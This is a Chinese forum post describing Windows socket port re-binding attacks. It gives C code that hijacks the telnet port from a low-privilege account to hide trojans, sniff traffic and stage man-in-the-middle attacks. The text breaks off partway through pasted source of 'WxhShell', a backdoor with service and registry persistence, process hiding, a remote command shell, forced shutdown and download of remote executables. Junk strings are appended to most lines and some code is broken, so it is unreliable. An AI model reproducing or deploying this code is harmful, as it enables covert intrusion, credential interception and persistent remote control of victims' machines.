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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oz>2P.7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W^H3=hZ  
:^PksR  
  saddr.sin_family = AF_INET; );%H;X+x  
_crhBp5@T3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A$r$g\5+  
D/f 4kkd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MW6z&+Z  
+^lB"OcOX@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?WHf%Ie2(  
#H w(w  
  这意味着什么?意味着可以进行如下的攻击: cLl~4jL  
u*v<dsGQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =V]0G,,\  
E0R6qS:'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >> "gb/x,  
\?>M?6D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IC&P-X_aP  
'Zp{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i ? ~-%  
Nwz?*~1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /$CTz xd1  
?/"|tuQMW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cd1G.10  
<BED&j!qvP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~<f[7dBv  
_0v+'&bz  
  #include sde>LZet/  
  #include K\rQb  
  #include ?' .AeoE-  
  #include    m<hP"j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KF00=HE|]  
  int main() .a]#AFX  
  { -1,0hmn=+  
  WORD wVersionRequested; +ZM,E8  
  DWORD ret; I7oA7@zv  
  WSADATA wsaData; s@ r{TXEn  
  BOOL val; #M16qOEw  
  SOCKADDR_IN saddr; s{Y4wvQyB  
  SOCKADDR_IN scaddr; '1:)q  
  int err; WN+i3hC  
  SOCKET s; 8Rwk o6x  
  SOCKET sc; u*G<?  
  int caddsize; M&j|5UH%.  
  HANDLE mt; <mE`<-$  
  DWORD tid;   X n$ZA-  
  wVersionRequested = MAKEWORD( 2, 2 ); Ztg_='n  
  err = WSAStartup( wVersionRequested, &wsaData ); 9Q%lS  
  if ( err != 0 ) { OALNZKP  
  printf("error!WSAStartup failed!\n"); x_nwD"   
  return -1; WJOoDS!i  
  } %`yfi+e  
  saddr.sin_family = AF_INET; B= {_}f  
   Q2VF+g,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m4 (p MrJ  
n?.;*:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W~/d2_|/  
  saddr.sin_port = htons(23); &)mZ~cPU3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >MHlrSH2  
  { l,7& z  
  printf("error!socket failed!\n"); p0bWzIH  
  return -1; ZOqS"3j! j  
  } x%=CEe?6  
  val = TRUE; KOS0Du  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H\R a*EO~j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8u+kA mI  
  { i]%f94  
  printf("error!setsockopt failed!\n"); e~SK*vR%]  
  return -1; V ql4*OJW  
  } qT@h/Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <bKtAf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z#GZb   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r%?-MGc  
Or5?Gt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [j+:2@  
  { jr4xh {Z`  
  ret=GetLastError(); :3n@].  
  printf("error!bind failed!\n"); JcR|{9ghT  
  return -1; xmv %O&0^}  
  } LpU}.  
  listen(s,2); HU $"o6ap  
  while(1) .J)TIc__|A  
  { T;/GHC`{Y  
  caddsize = sizeof(scaddr); `FMo; ,j  
  //接受连接请求 ?8-!hU@QC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b&U1^{(  
  if(sc!=INVALID_SOCKET) '`P%;/z  
  { XMuZ}u[U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hy*{ {f;  
  if(mt==NULL) *8Z2zmZtR^  
  { eWcqf/4?"  
  printf("Thread Creat Failed!\n"); [CI&4) #  
  break; w(Z?j%b  
  } Sf*)Z3f  
  } ]nhh|q9r{  
  CloseHandle(mt); ETdXk&AN  
  } dH^6K0J  
  closesocket(s); KS$t  
  WSACleanup(); _6NUtU  
  return 0; *p}mn#ru-  
  }   gF{ehU%  
  DWORD WINAPI ClientThread(LPVOID lpParam) v|%41xOsr  
  { q H}8TC  
  SOCKET ss = (SOCKET)lpParam; lGd'_~'=  
  SOCKET sc; xm{]|~^JG  
  unsigned char buf[4096]; OyZR&,q  
  SOCKADDR_IN saddr; =X4Fn^w"4O  
  long num; zuvPV{ X  
  DWORD val; t1FtYXv`/  
  DWORD ret; exb} y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @V%\Gspv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qT$k%(  
  saddr.sin_family = AF_INET; :\OSHs<M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >|QH I d8  
  saddr.sin_port = htons(23); |Kd#pYt%O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f$o^Xu  
  { Sa= tiOv  
  printf("error!socket failed!\n"); |p6d]#z3  
  return -1; rwF$aR>9  
  } TEC^|U`G  
  val = 100; >2s4BV[(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }iUK`e  
  { Rd#R}yA  
  ret = GetLastError(); Y!<m8\  
  return -1; W{}$c`,R  
  } E]@&<TFq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +F; 2FD$  
  { Cr5ND\  
  ret = GetLastError(); #rlgeHG!fs  
  return -1; +0pI}a\  
  } E\[BE<y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3oCI1>k  
  { o1.~g'!^  
  printf("error!socket connect failed!\n"); ${ {4L ?7  
  closesocket(sc); +U o NJ   
  closesocket(ss); YXA@ c  
  return -1; *)Rm X$v3  
  } Mn0.! J "  
  while(1) 2)f_L|o,m  
  { *2/Jg'de  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X0.H(p#s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T2e-RR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^Oz~T|)  
  num = recv(ss,buf,4096,0); ?xj8a3F  
  if(num>0) >fBPVu\PA  
  send(sc,buf,num,0); /Y0~BQC7!  
  else if(num==0) tdm7MPM  
  break; PtfG~$h?  
  num = recv(sc,buf,4096,0); $Rm~ VwY#  
  if(num>0) Fw<"]*iu  
  send(ss,buf,num,0); -b-a21,m>  
  else if(num==0) .zO^"mXjS  
  break; n7!T{+ge  
  } WPNB!" E98  
  closesocket(ss); M)bQvjj  
  closesocket(sc); cgb>Naa<  
  return 0 ; h.\I tK{)  
  } Tv``\<   
46C%at M0}  
._}}@V_/  
========================================================== u[GZ~L  
WcN4ff-  
下边附上一个代码,,WXhSHELL :aNjh  
-<g9 ) CV5  
========================================================== (p{X.X+  
7[m+r:y  
#include "stdafx.h" 0+>g/ >  
7'\. Q J!<  
#include <stdio.h> 'Ea3(OsuXn  
#include <string.h> fCY|iO0.t  
#include <windows.h> n8,%<!F^  
#include <winsock2.h> Px_8lB/;  
#include <winsvc.h> C[^VM$  
#include <urlmon.h> lJK]S=cd  
#HcQ*BiF3  
#pragma comment (lib, "Ws2_32.lib") ,P~e)<.  
#pragma comment (lib, "urlmon.lib") J}V4.R5d  
@M'k/jl  
#define MAX_USER   100 // 最大客户端连接数 9)!Ks g(h  
#define BUF_SOCK   200 // sock buffer AwJg/VBo)  
#define KEY_BUFF   255 // 输入 buffer 8SjCU+V  
Id=20og  
#define REBOOT     0   // 重启 YgEd%Z%4  
#define SHUTDOWN   1   // 关机  /~"-q  
v `S5[{6  
#define DEF_PORT   5000 // 监听端口 i /X3k&  
k \OZ'dS  
#define REG_LEN     16   // 注册表键长度 xg p)G!  
#define SVC_LEN     80   // NT服务名长度 [+[ W\6  
y_WC"  
// 从dll定义API <-`bWz=+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ufL,K q4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \]x`f3F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3! P^?[p3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7F"ljkN1S  
e9p/y8gC  
// wxhshell配置信息 : /5+p>Ep}  
struct WSCFG { 8{4'G$6  
  int ws_port;         // 监听端口 !@z9n\Yj  
  char ws_passstr[REG_LEN]; // 口令 eXl?f_9  
  int ws_autoins;       // 安装标记, 1=yes 0=no @fd<  
  char ws_regname[REG_LEN]; // 注册表键名 #aqnj+  
  char ws_svcname[REG_LEN]; // 服务名 sUF$eVAT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h[(YH ;Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^A ]4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |r@;ulO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O@$>'Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2-F7tcya|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xU\!UVQ/  
Ec7xwPk  
}; A+/Lt>+AS  
\9+,ynJH8z  
// default Wxhshell configuration dX?j /M-  
struct WSCFG wscfg={DEF_PORT, G]B0LUT6c  
    "xuhuanlingzhe", HS=w9:,  
    1, 29Uqdo  
    "Wxhshell", gc4o |x  
    "Wxhshell", s.z)l$  
            "WxhShell Service", B;bP~e>W  
    "Wrsky Windows CmdShell Service", /qQx~doK  
    "Please Input Your Password: ", | 6AR!  
  1, Gb^63.}  
  "http://www.wrsky.com/wxhshell.exe", i3 js'?7E  
  "Wxhshell.exe" h),;j`PrC  
    }; IsE&k2 SD  
?"b __(3  
// 消息定义模块 wGO-Z']i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H;=yR]E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UB@(r86 d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J.~@j;[2  
char *msg_ws_ext="\n\rExit."; c<1$ zQY!  
char *msg_ws_end="\n\rQuit."; o9sQ!gptw  
char *msg_ws_boot="\n\rReboot..."; +9HU&gQ3  
char *msg_ws_poff="\n\rShutdown..."; 9No6\{[M  
char *msg_ws_down="\n\rSave to "; zZ}. 2He8  
Wi$?k {C  
char *msg_ws_err="\n\rErr!"; QmBHD;Gf  
char *msg_ws_ok="\n\rOK!"; Qe~C}j%  
#|\|G3Si %  
char ExeFile[MAX_PATH]; WGV]O|  
int nUser = 0; 0+0 Y$;<  
HANDLE handles[MAX_USER]; wW TuEM  
int OsIsNt; ;)rhx`"n  
X}B] 5  
SERVICE_STATUS       serviceStatus; &Zz&VwWR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 42 `Uq[5Y  
iu{y.}?  
// 函数声明 py$Gy-I~[  
int Install(void); GUQ3XF\  
int Uninstall(void); ccv  
int DownloadFile(char *sURL, SOCKET wsh); 0Cc3NNdz  
int Boot(int flag); o=VZ7]  
void HideProc(void); ^3HSw ?a"  
int GetOsVer(void); '(lsJY[-x  
int Wxhshell(SOCKET wsl); OBFM70K  
void TalkWithClient(void *cs); #W:.Fsq  
int CmdShell(SOCKET sock); &'\-M6GW  
int StartFromService(void); @kd$.7Y9  
int StartWxhshell(LPSTR lpCmdLine); s\.r3U&6  
2 zo>`;l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %~eu&\os  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o5],c9R9b  
PR;Bxy  
// 数据结构和表定义 ''2:ZXX  
SERVICE_TABLE_ENTRY DispatchTable[] = 1sUgjyGQ  
{ zRh)q,Dt  
{wscfg.ws_svcname, NTServiceMain}, V^(W)\  
{NULL, NULL} 5P*jGOg.  
}; qPu?rU{2  
; <- f  
// 自我安装 + fvVora  
int Install(void) S?DMeZ{:  
{ pDC`Fi  
  char svExeFile[MAX_PATH]; i{g~u<DH)Q  
  HKEY key; dsEvpa$?  
  strcpy(svExeFile,ExeFile); F, =WfM\  
xqT} 9,  
// 如果是win9x系统,修改注册表设为自启动 r 8N<<^  
if(!OsIsNt) { |$8N*7UD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "+Ks#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xe}I;sKrB  
  RegCloseKey(key); = CXX.%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0>Kgz!I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yFo8 x[  
  RegCloseKey(key); TGpdl`k\T  
  return 0; =)#XZ[#F  
    } TPJuS)TU9  
  } uxW |&q  
} 7WV"Wrl]  
else { %i&am=  
sVO|Ghy65  
// 如果是NT以上系统,安装为系统服务 +MS*YpPW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fN`Prs A  
if (schSCManager!=0) |r*y63\T  
{ ~H ctXe'x  
  SC_HANDLE schService = CreateService Ow0~sFz  
  ( T+V:vuK  
  schSCManager, D<Z\6)|%I  
  wscfg.ws_svcname, Lxa<zy~b  
  wscfg.ws_svcdisp, 0l(G7Ju  
  SERVICE_ALL_ACCESS, sI)jqHZG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #;2kN &  
  SERVICE_AUTO_START, ]<},[s  
  SERVICE_ERROR_NORMAL, 7CT446  
  svExeFile, s_u! RrC  
  NULL, gd)VL}k  
  NULL, 5"#xbvRS0H  
  NULL, &S^a_L:  
  NULL, H8c -/  
  NULL |$T?P*pI.  
  ); BQMo*I>I  
  if (schService!=0) q|.0Ja  
  { h#h)=;  
  CloseServiceHandle(schService); ud(w0eX  
  CloseServiceHandle(schSCManager); B)DtJ f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wh]v{Fi'  
  strcat(svExeFile,wscfg.ws_svcname); <.|]%7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { voN,u>U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NS4W!o;"  
  RegCloseKey(key); T.!.3B$@]  
  return 0; .v) A|{:2  
    } `?N|{kb  
  } g C@=]Y  
  CloseServiceHandle(schSCManager); <XpG5vV  
} ~\R+p~>  
} 3k+46Wp  
V=GP_^F  
return 1; )=h+5Z>E1  
} ?cr^.LV|h^  
7*&q"   
// 自我卸载 U,9=&"e b  
int Uninstall(void) Jpe\  
{ Nrp1`qY  
  HKEY key; P= 26! b  
6r5<uZ9w_X  
if(!OsIsNt) { &-.2P!t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! "^//2N+,  
  RegDeleteValue(key,wscfg.ws_regname); 9(9\kQj{C  
  RegCloseKey(key); 7baQ4QY?n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y#{> tC  
  RegDeleteValue(key,wscfg.ws_regname); &W y9%  
  RegCloseKey(key); 2)`4(38  
  return 0; l;JB;0<s"  
  } "CQ:<$|$  
} 3}?]G8iL?L  
} |P=-m-W  
else { C'z}jM`g  
bq}o#d5p-_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,3ivB8  
if (schSCManager!=0) d>Np; "  
{ ]+78 "(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _AVP1  
  if (schService!=0) ~p/1 9/  
  { 9r,7>#IF  
  if(DeleteService(schService)!=0) { oGZ%w4T  
  CloseServiceHandle(schService); lGN{1djT  
  CloseServiceHandle(schSCManager); i\k>2df  
  return 0; I_h&35^t  
  } }W"/h)q  
  CloseServiceHandle(schService); .GDNd6[K7  
  } (^Hpe5h&  
  CloseServiceHandle(schSCManager); uHO>FM,  
} a^GJR]] {  
} ]$WwPDZ  
@X>Oj.  
return 1; jUX0sRDk  
} ^&8xfI6?  
w`K=J!5y2g  
// 从指定url下载文件 [Gb8o'  
int DownloadFile(char *sURL, SOCKET wsh) r`CsR0[  
{ OM7EmMa;  
  HRESULT hr; ~@Eu4ip)F  
char seps[]= "/"; Hk|wO:7Be  
char *token; 1lQO`CmR6M  
char *file; 4] I7t  
char myURL[MAX_PATH]; ??`z W  
char myFILE[MAX_PATH]; ],ISWb  
_0e;&2')  
strcpy(myURL,sURL); w+3-j  
  token=strtok(myURL,seps); v|u[BmA)*k  
  while(token!=NULL) zH+a*R  
  { 3At%TA:  
    file=token; %FO# j6  
  token=strtok(NULL,seps); g flu!C6  
  } LYyOcb[x  
&,~Oi(SX5  
GetCurrentDirectory(MAX_PATH,myFILE); aRF}F E,u  
strcat(myFILE, "\\"); ]eZrb%B .  
strcat(myFILE, file); R<x~KJ11c  
  send(wsh,myFILE,strlen(myFILE),0); pbePxOG  
send(wsh,"...",3,0); 4XXuj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); loFApBD=$^  
  if(hr==S_OK) > hmBV7nR  
return 0; \$[S=&E  
else N1i%b,:3  
return 1; etWCMR  
iqP MCOPZ  
} zU,Qph ,<  
V0!$k.Wk  
// 系统电源模块 :NPnwX8w  
int Boot(int flag) Rz9IjL.Z  
{ ;/g Bjp]H  
  HANDLE hToken; e2l!L*[g  
  TOKEN_PRIVILEGES tkp; h"DxgG  
'l*p!=  
  if(OsIsNt) { <^8&2wAkJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '&hk?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3=~0m  
    tkp.PrivilegeCount = 1; 8%D 2G i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {:0TiOP5x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &`IC 3O5  
if(flag==REBOOT) { YE5B^sQ1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q t!0#z8  
  return 0; ;HbAk`\1A  
} ^6(Nu|6\@  
else { @is!VzE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (W4H?u@X0  
  return 0; m]#oZVngy  
} Tweku}D7  
  } w5uOkz #  
  else { 2Ub!wee  
if(flag==REBOOT) { ,4tuWO)"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Ld,<!eN0  
  return 0; /I/gbmc)  
} I c 2R\}q  
else { Z0I>PBL@l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;Wu6f"+Y#  
  return 0; )UgLs|G~  
} ~SN *  
} ^\ocH|D  
~ '/Yp8 (  
return 1; c Y(2}Ay  
} 5b5Hc Inu  
R *uwp'@  
// win9x进程隐藏模块 14 Toi  
void HideProc(void) VHihC]ks,  
{ TtKV5  
3"HW{=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $\A=J  
  if ( hKernel != NULL ) LaCVI  
  { EAPjQA-B?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]n9gnE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6=o'.03\f  
    FreeLibrary(hKernel); Ods/1 KW  
  } lrL:v~g  
6z keWR  
return; |`,AA a  
} -.=:@H}r  
E6zSMl5b  
// 获取操作系统版本 }lP'bu  
int GetOsVer(void) he\ pW5p  
{ LX2Re ]&  
  OSVERSIONINFO winfo; o3OtG#g2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9 O2??N7f  
  GetVersionEx(&winfo); _aj,tz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yT<,0~F9  
  return 1; #l?E2 U4WL  
  else f\U(7)2  
  return 0; |.EC>D /  
} &kp`1kv":  
]oIP;J:&  
// 客户端句柄模块 _(%;O:i  
int Wxhshell(SOCKET wsl) me@xl }  
{ Hru~Y}V  
  SOCKET wsh; r(6$.zx  
  struct sockaddr_in client; a 0+W-#G  
  DWORD myID; ?hh#@61  
1@S(v L3a  
  while(nUser<MAX_USER) Xdtyer%  
{ EwX:^1f  
  int nSize=sizeof(client); bDADFitSo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :.bBV]6q  
  if(wsh==INVALID_SOCKET) return 1; tR`^c8gD  
F9PXQD(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .:/[%q{k  
if(handles[nUser]==0) Lsb`,:  
  closesocket(wsh); FX,kmre3  
else KqhE=2,  
  nUser++; d;FOmo4  
  } '74*-yd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *)u%KYGr  
p%ZOLoc)Y  
  return 0; %  db  
} V3v/h V:  
J-d>#'Wb|  
// 关闭 socket mP[ZlS~"  
void CloseIt(SOCKET wsh) /JbO$A  
{ q)rxv7Iu\  
closesocket(wsh); ]7DS>%m Y(  
nUser--; Yx"un4  
ExitThread(0); ]b'" l  
} Bb9/nsbE  
#L`'<ge'g*  
// 客户端请求句柄 P5Is#7udN8  
void TalkWithClient(void *cs) m4~>n(  
{ u#Y#,:{  
dk>qTY+j5  
  SOCKET wsh=(SOCKET)cs; `*-rz<G  
  char pwd[SVC_LEN]; mGP&NOR0^y  
  char cmd[KEY_BUFF]; >\4"k4d}  
char chr[1]; R8N*. [  
int i,j; Mp,aQ0bNS  
h}&1 7M  
  while (nUser < MAX_USER) { bSgdVP-  
$*q^7ME  
if(wscfg.ws_passstr) { S\<nCkE^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !>,XK!)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N4rDe]JnPR  
  //ZeroMemory(pwd,KEY_BUFF); /w "h'u  
      i=0; b;jr;I  
  while(i<SVC_LEN) { hy wy(b3  
)PCh;P0C  
  // 设置超时 kxWcWl8  
  fd_set FdRead; i)=dp!Bx^  
  struct timeval TimeOut; %2,'x  
  FD_ZERO(&FdRead); NnTAKd8  
  FD_SET(wsh,&FdRead); 88g|(k/  
  TimeOut.tv_sec=8; R?5v //[  
  TimeOut.tv_usec=0; `/RcE.5n\@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g(QT"O!dY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |{ TVW  
x.kIzI5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PQvpJFpb~h  
  pwd=chr[0]; SbK6o:[  
  if(chr[0]==0xd || chr[0]==0xa) { =QS%D*.|D  
  pwd=0; "(+p1  
  break; IrMxdF~c  
  } S pIdw0  
  i++; iTc q=  
    } 05s{Z.aK  
OKV/=]GS  
  // 如果是非法用户,关闭 socket kO/]mNLG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~sMEfY,p  
} ^t}8E2mq  
Gy6PS{yY6t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RH~I/4e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H7CWAQPfj  
e+O502]  
while(1) { h[i@c`3 /2  
12LGWhDp  
  ZeroMemory(cmd,KEY_BUFF); nxhn|v  
^?R8>97_?  
      // 自动支持客户端 telnet标准   8fWk C<f}  
  j=0; 'bn$"A"{o  
  while(j<KEY_BUFF) { A Qm!7,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~djHtd>  
  cmd[j]=chr[0]; *IQQsfL)  
  if(chr[0]==0xa || chr[0]==0xd) { ]US  
  cmd[j]=0; $A^OP{  
  break; [Z2mH  
  } |3P dlIbO  
  j++; 0P l>k'9  
    } 7p_B?r  
^,{ r[}  
  // 下载文件 4_W*LG~2s  
  if(strstr(cmd,"http://")) { )MeeF-Ad6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O#n=mJ  
  if(DownloadFile(cmd,wsh)) dM)x|b3z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _fjHa6S  
  else ^8V8,C)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Y0oA3am  
  } @TvDxY1)6Z  
  else { i% n9RuULh  
|31/*J!@z*  
    switch(cmd[0]) { UH`cWVLpr  
  XCj8QM.o  
  // 帮助 %`\=qSf*  
  case '?': { Wa<SYJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lk2;\D>  
    break; "U|u-ka8B  
  } qQp;i{X  
  // 安装 bY}:!aR<mK  
  case 'i': { bj ,cU)t0  
    if(Install()) -9; XNp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bBY7^k  
    else se*!OiOt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Dw}o;1'  
    break; X}ft7;Jpy  
    } (w1$m8`=  
  // 卸载 s(pNg?R  
  case 'r': { d8J(~$tXQN  
    if(Uninstall()) n+D93d9LP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +o|I@7f  
    else Xk`'m[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {xRO.699  
    break; Q?V'3ZZF!  
    } W.nr&yiQ  
  // 显示 wxhshell 所在路径 D_M73s!U  
  case 'p': { Kb~i9x&  
    char svExeFile[MAX_PATH]; ,'%*z  
    strcpy(svExeFile,"\n\r"); f0"_ {\  
      strcat(svExeFile,ExeFile); K;*B$2Z#k  
        send(wsh,svExeFile,strlen(svExeFile),0); [7Liken  
    break; KJi8LM  
    } \[L|  
  // 重启 "L+NN|  
  case 'b': { qnJs,"sn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,qwVDYJ  
    if(Boot(REBOOT)) kE854Ej  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6vf<lmN  
    else { P~h 0Ul  
    closesocket(wsh); "Bl6 ) qw  
    ExitThread(0); =3|5=ZU034  
    } hH_\C.bL  
    break; ]iry'eljy  
    } e]@ B61lc  
  // 关机 ^_t7{z%sA[  
  case 'd': { p%-;hL!  
